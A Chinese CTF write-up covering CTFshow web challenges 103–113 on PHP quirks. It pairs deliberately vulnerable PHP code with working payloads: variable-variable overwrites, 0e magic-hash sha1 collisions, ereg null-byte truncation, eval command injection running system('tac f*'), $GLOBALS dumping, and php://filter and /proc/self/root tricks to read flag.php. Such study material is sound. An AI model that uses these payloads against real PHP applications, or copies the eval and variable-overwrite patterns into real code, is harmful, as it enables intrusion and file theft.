CTFshow刷题日记-WEB-PHP特性(中)

326 阅读4分钟

一起养成写作习惯!这是我参与「掘金日新计划 · 4 月更文挑战」的第3天,点击查看活动详情

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

类型和上题一样,因为采用了base64编码所以可以绕过

web104

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

弱类型比较可以看这篇文章链接

这个题不用弱类型也可以

image-20210905094402168

也可以用数组绕过

web105

变量覆盖类型

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

题目一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的

payload

1.
get:?a=flag
post:error=a
// die($error);输出flag   
2.    
get:?a=flag
suces=a&flag=
// die($suces);输出flag   
    
3.
get:?suces=flag
post:flag=
// die($suces);输出flag   

通过die($error)输出 payload:a=flag post: error=a 进行的操作为

$a=$flag;
$error=$a;

此时a=flagtest123;a=flag{test123};error=flag{test123};从而输出error也就是输出flag 通过die($suces) payload:suces=flag&flag= 进行的操作为

$suces=$flag;

此时scues=flagtest123;scues=flag{test123};_POST['flag']=NULL;flag=NULL,满足(flag=NULL,满足(_POST['flag']==$flag)

通过echo $flag 一个矛盾体,没有机会在不改变值的情况下输出,大家可以自行尝试进行验证。

web106

和104一样, 让sha函数加密后的值为0e开头即可

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

payload

get:v2=w9KASOk6Ikap
post:v1=aaO8zKZF

这样的值有的是

aaroZmOk:0e66507019969427134894567494305185566735
aaK1STfY:0e76658526655756207688271159624026011393
aaO8zKZF:0e89257456677279068558073954252716165668
aa3OFF9m:0e36977786278517984959260394024281014729

github.com/spaze/hashe…

web107

变量覆盖类型

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
parse_str(string,array)
函数把查询字符串解析到变量中
string	必需。规定要解析的字符串
array	可选。规定存储变量的数组名称。该参数指示变量存储到数组中

payload

?v3=1
post:v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

函数说明

ereg — 正则表达式匹配
strrev — 反转字符串

变量 c 只有字母时可以通过 ereg,但是 ereg 存在%00截断

PHP版本为5,intval函数可以识别十六进制

payload

?c=a%00778

首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}

考察点:php 异常类 先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串 所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。 举两个例子

Exception ReflectionClass

payload

?v1=Exception;system('tac f*');&v2=a
v1=ReflectionClass&v2=system('tac f*')

web110

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");
}

在上题的基础上增加了许多过滤

考察点:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 具体使用方法 所以我们只需要再得到一个点或者路径就可以查看当前目录下的文件,得到一个/查看根目录下的文件。php中的getcwd()可以帮到我们这个忙。

getcwd()
getcwd — 取得当前工作目录
getcwd(void):string

payload:v1=FilesystemIterator&v2=getcwd 题目的话有个缺陷,如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag

image-20210905105417069

web111

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

考察GLOBALS全局变量的使用

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

payload

?v1=ctfshow&v2=GLOBALS

在经过

eval("$$v1 = &$$v2;");

$ctfshow=$GLOBALS
var_dump($$v1);=var_dump($GLOBALS);

$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

不能让is_file检测出是文件,并且 highlight_file可以识别为文件, 这时候可以利用php伪协议

?file=php://filter/resource=flag.php

也可以用一些没有过滤掉的编码方式和转换方式

1.file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
2.file=compress.zlib://flag.php
3.file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在上题的基础上把filter给过滤了

payload

file=compress.zlib://flag.php

payload2

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚